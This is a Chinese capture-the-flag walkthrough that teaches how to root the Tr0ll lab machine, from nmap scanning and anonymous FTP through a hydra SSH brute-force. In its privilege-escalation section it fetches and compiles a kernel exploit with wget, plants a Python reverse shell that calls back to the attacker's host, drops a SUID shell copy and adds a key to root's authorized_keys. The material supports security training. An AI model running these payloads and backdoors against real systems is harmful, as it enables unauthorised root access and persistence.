No.4-红队渗透项目:Tr0ll
字数 1113 2025-08-19 12:42:24

Tr0ll 渗透测试项目教学文档

1. 环境准备

  • 攻击机: Kali Linux
  • 目标机: Tr0ll (IP: 192.168.111.136)
  • 工具: nmap, ftp, wireshark, hydra, gcc, python, ssh, nc

2. 信息收集阶段

2.1 网络扫描

nmap -sP 192.168.111.0/24  # 发现目标IP
nmap 192.168.111.136 -p-   # 全端口扫描
nmap 192.168.111.136 -p- -sS -sV -A  # 详细扫描

扫描结果:

  • FTP (允许匿名登录)
  • SSH (OpenSSH 6.6.1p1 Ubuntu)
  • HTTP (Apache 2.4.7)

2.2 FTP枚举

ftp 192.168.111.136
# 用户名: Anonymous
# 密码: Anonymous

发现文件: lol.pcap (流量文件)

2.3 Wireshark分析

分析lol.pcap文件:

  1. 右键 -> 追踪流量 -> TCP流量
  2. 在tcp.stream eq 2中发现提示:
    Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P
    

2.4 Web目录枚举

访问:

  • http://192.168.111.136/robots.txt 发现/secret目录
  • http://192.168.111.136/sup3rs3cr3tdirlol/ 下载roflmao文件

分析roflmao文件:

file roflmao  # 32位ELF二进制文件
strings roflmao  # 发现提示: Find address 0x0856BF to proceed

访问http://192.168.111.136/0x0856BF/发现两个子目录:

  • good_luck/which_one_lol.txt
  • this_folder_contains_the_password/Pass.txt

3. 渗透阶段

3.1 SSH爆破

使用hydra进行爆破:

hydra -L yaoguang2.txt -p Pass.txt 192.168.111.136 ssh

获得凭据:

  • 用户名: overflow
  • 密码: Pass.txt

3.2 获取初始shell

ssh overflow@192.168.111.136
# 提升shell交互性
python -c 'import pty;pty.spawn("/bin/bash")'

4. 提权阶段

4.1 系统信息收集

id
uname -a  # 显示内核版本: Linux 3.13.0

4.2 内核提权方法

方法1: overlayfs漏洞利用

  1. 查找可用exp:
searchsploit linux ubuntu 3.13.0
  1. 使用37292.c:
wget http://192.168.111.128:8081/37292.c
gcc 37292.c -o dayu1
./dayu1

方法2: 利用计划任务反弹shell

  1. 发现系统每5分钟会终止SSH进程
  2. 查找计划任务相关文件:
find / -name cronlog 2>/dev/null
find / -name cleaner.py 2>/dev/null
find / -writable 2>/dev/null
  1. 修改/lib/log/cleaner.py添加反弹shell代码:
def con():
    import socket, time,pty, os
    host='攻击机IP'
    port=9999
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((host,port))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
con()
  1. 攻击机监听:
nc -tvlp 9999

方法3: 创建SUID shell

修改/lib/log/cleaner.py:

os.system('cp /bin/sh /tmp/dayu1')
os.system('chmod u+s /tmp/dayu1')

然后执行:

cd /tmp
./dayu1

方法4: SSH密钥提权

  1. 生成SSH密钥:
ssh-keygen
cat ~/.ssh/id_rsa.pub
  1. 修改/lib/log/cleaner.py:
os.system('mkdir /root/.ssh; chmod 775 .ssh; echo "公钥内容" >> /root/.ssh/authorized_keys')
  1. 等待计划任务执行后直接SSH root登录

5. 获取flag

cd /root
cat proof.txt
# flag: 702a8c18d29c6f3ca0d99ef5712bfbdc

6. 总结

本渗透测试涉及:

  1. 信息收集(nmap, FTP, Wireshark)
  2. Web目录枚举
  3. SSH爆破
  4. 多种提权方法(内核漏洞、计划任务利用、SUID、SSH密钥)
  5. 最终获取root权限和flag

关键点:

  • 仔细分析所有发现的信息和提示
  • 利用系统定时任务进行权限维持
  • 多种提权方法确保成功率
  • 注意系统自动终止SSH的特性
Tr0ll 渗透测试项目教学文档 1. 环境准备 攻击机 : Kali Linux 目标机 : Tr0ll (IP: 192.168.111.136) 工具 : nmap, ftp, wireshark, hydra, gcc, python, ssh, nc 2. 信息收集阶段 2.1 网络扫描 扫描结果: FTP (允许匿名登录) SSH (OpenSSH 6.6.1p1 Ubuntu) HTTP (Apache 2.4.7) 2.2 FTP枚举 发现文件: lol.pcap (流量文件) 2.3 Wireshark分析 分析 lol.pcap 文件: 右键 -> 追踪流量 -> TCP流量 在tcp.stream eq 2中发现提示: 2.4 Web目录枚举 访问: http://192.168.111.136/robots.txt 发现 /secret 目录 http://192.168.111.136/sup3rs3cr3tdirlol/ 下载 roflmao 文件 分析 roflmao 文件: 访问 http://192.168.111.136/0x0856BF/ 发现两个子目录: good_luck/which_one_lol.txt this_folder_contains_the_password/Pass.txt 3. 渗透阶段 3.1 SSH爆破 使用 hydra 进行爆破: 获得凭据: 用户名: overflow 密码: Pass.txt 3.2 获取初始shell 4. 提权阶段 4.1 系统信息收集 4.2 内核提权方法 方法1: overlayfs漏洞利用 查找可用exp: 使用37292.c: 方法2: 利用计划任务反弹shell 发现系统每5分钟会终止SSH进程 查找计划任务相关文件: 修改 /lib/log/cleaner.py 添加反弹shell代码: 攻击机监听: 方法3: 创建SUID shell 修改 /lib/log/cleaner.py : 然后执行: 方法4: SSH密钥提权 生成SSH密钥: 修改 /lib/log/cleaner.py : 等待计划任务执行后直接SSH root登录 5. 获取flag 6. 总结 本渗透测试涉及: 信息收集(nmap, FTP, Wireshark) Web目录枚举 SSH爆破 多种提权方法(内核漏洞、计划任务利用、SUID、SSH密钥) 最终获取root权限和flag 关键点: 仔细分析所有发现的信息和提示 利用系统定时任务进行权限维持 多种提权方法确保成功率 注意系统自动终止SSH的特性